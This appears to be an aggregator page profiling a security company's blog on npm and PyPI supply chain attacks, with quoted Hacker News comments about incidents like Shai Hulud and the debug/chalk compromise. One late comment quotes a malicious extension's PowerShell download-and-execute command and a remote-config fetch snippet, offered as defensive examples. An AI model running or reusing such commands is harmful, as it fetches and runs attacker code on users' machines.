Aikido Blog
aikido.dev · Company blog · on HN since 2023
Aikido, a security company, publishes analyses of npm and PyPI supply chain attacks, including the Shai Hulud worm and compromised packages.
What HN saysHN links it as a fast source on package compromises; commenters point to it for coverage of the debug and chalk, telnyx and Shai Hulud incidents.
47HN people shared it
14linked it in comments
42stories submitted
1.9Kstory points
2 months agolast shared
2023people per year2026
Most-shared posts
- 1NPM debug and chalk packages compromised8 people · 1.4K points · first shared 2025 · 757 comments on HN
- 2Popular NX packages compromised on NPM3 people · 4 points · first shared 2025 · discussion on HN
- 3Self-Replicating NPM Package Supply Chain Worm 'Shai Hulud'3 people · 3 points · first shared 2025 · 1 comments on HN
- 4Shai Hulud launches second supply-chain attack2 people · 352 points · first shared 2025 · 23 comments on HN
- 5Safe Chain: Stopping Malicious NPM Packages Before They Wreck Your Project2 people · 18 points · first shared 2025 · 2 comments on HN
- 6PyPI package telnyx has been compromised in yet another supply chain attack2 people · 14 points · first shared 2026 · 3 comments on HN
- 7Prompt injection through GitHub Action workflow impacts Gemini and others2 people · 6 points · first shared 2025 · 1 comments on HN
- 8Google API keys will keep working after you delete them2 people · 2 points · first shared 2026 · discussion on HN
- 9Fake Clawdbot VS Code Extension Installs ScreenConnect Rat2 people · 1 points · first shared 2026 · discussion on HN
- 10Offical XRP NPM package has been compromised and key stealing malware introduced1 people · 55 points · first shared 2025 · 17 comments on HN
- 11Malware hiding in plain sight: Spying on North Korean Hackers1 people · 8 points · first shared 2025 · discussion on HN
- 12Aikido launches infinite pentesting – Automated pentesting on every release1 people · 7 points · first shared 2026 · discussion on HN
- 13RATatouille: A Malicious Recipe Hidden in rand-user-agent1 people · 6 points · first shared 2025 · discussion on HN
- 14Keyv and friends compromised in active Shai-Hulud supply chain attack1 people · 5 points · first shared 2026 · discussion on HN
- 15I wrote Gitleaks, now I'm maintaining Betterleaks1 people · 5 points · first shared 2026 · 1 comments on HN
What HN people wrote when they linked it
ramimac · 2026-03-27
We haven't blogged this yet, but a variety of teams found this in parallel.
The packages are quarantined by PyPi
Follow the overall incident: https://ramimac.me/teampcp/#phase-10
Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-canisterwo…
ReversingLabs, JFrog also made parallel reports
artooro · 2025-09-08
This looks pretty bad. Even if this only affects crypto wallets, I can't help but imagine how much worse this could be.
Another good read is at https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
gslepak · 2025-09-08
Tips to protect yourself from supply-chain attacks in the JavaScript ecosystem:
- Don't update dependencies unless necessary
- Don't use `npm` to install NPM packages, use Deno with appropriate sandboxing flags
- Sign up for https://socket.dev and/or https://www.aikido.dev
- Work inside a VM
dist-epoch · 2026-07-26
> it’s likely there forever and identifiable by that same hash from anywhere in the fork network
in case you are not aware of it already:
https://www.aikido.dev/blog/the-fork-awakens-why-githubs-invisible-net…
ChrisArchitect · 2025-11-24
More:
SHA1-Hulud the Second Comming – Postman, Zapier, PostHog All Compromised via NPM
https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-en…
singulasar · 2025-09-18
The chalk/debug one https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised I believe socket also found it this way just a bit later.
The dev later said that Charlie notifying him probably shaved off some very important time for the remediation.
So in this case 2 different companies found it using automated tech before anyone else
chillax · 2025-09-16
According to Aikido Security the attack has now targeted 180+ packages: https://www.aikido.dev/blog/s1ngularity-nx-attackers-strike-again
sneakerblack · 2025-09-12
I think this was posted because the of the recent Npm malware fiasco. The malware monkey-patched native JS functions to replace strings that matched crypto addresses in certain the fetch, and XMLHttpRequest functions:
https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
Considering there's no way to check whether a function is monkey-patched, this just tells me the JavaScript ecosystem was not designed with malicious actors in mind
weinzierl · 2025-09-09
Is this related to npm debug and chalk packages being compromised?
https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
sflanagain · 2025-09-08
The phishing email comes across a bit too amateur. Specifically the inclusion of:
"we kindly ask that you complete this update your earliest convenience".
The email was included here: https://cdn.prod.website-files.com/642adcaf364024654c71df23/68bf028d86…
From this article: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
Shank · 2025-08-27
The full payload is available here if you want to do analysis, etc: https://www.aikido.dev/blog/popular-nx-packages-compromised-on-npm#the…
flxga · 2024-05-03
Hi! That sentence is actually a longstanding bug in Github oAth screen. ( https://github.com/orgs/community/discussions/37117 ) Also, if you don't trust us, just use our local scanner... So we never get access to your source code... Also we're ISO 27001/SOC2 compliant: https://www.aikido.dev/trust-center And also, here's the process we use to make sure your code is never saved longer than necessary: https://help.aikido.dev/en/articles/6976661-aikido-never-stores-your-c…
acdha · 2025-09-18
Quite possibly - there have been several incidents recently and a number of researchers working together so it’s not clear exactly who found something first and it’s definitely not as simple to fix as tossing a tool in place.
The CEO of socket.dev described an automated pipeline flagging new uploads for analysts, for example, which is good but not instantaneous:
https://news.ycombinator.com/item?id=45257681
The Aikido team also appear to be suggesting they investigated a suspicious flag (apologies if I’m misreading their post), which again needs time for analysts to work:
https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
My thought was simply that these were caught relatively quickly by security researchers rather than by compromised users reporting breaches. If you didn’t install updates with a relatively short period of time after they were published, the subsequent response would keep you safe. Obviously that’s not perfect and a sophisticated, patient attack like liblzma suffered would likely still be possible but there really does seem to be a value to having something like Debian’s unstable/stable divide where researchers and thrill-seekers would get everything ASAP but most people would give it some time to be tested. What I’d really like to see is a community model for funding that and especially supporting independent researchers.
gus_ · 2026-05-21
restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidit…
Or this one:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains:
https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware
so maybe it's not bulletproof, but it helps to mitigate these threats.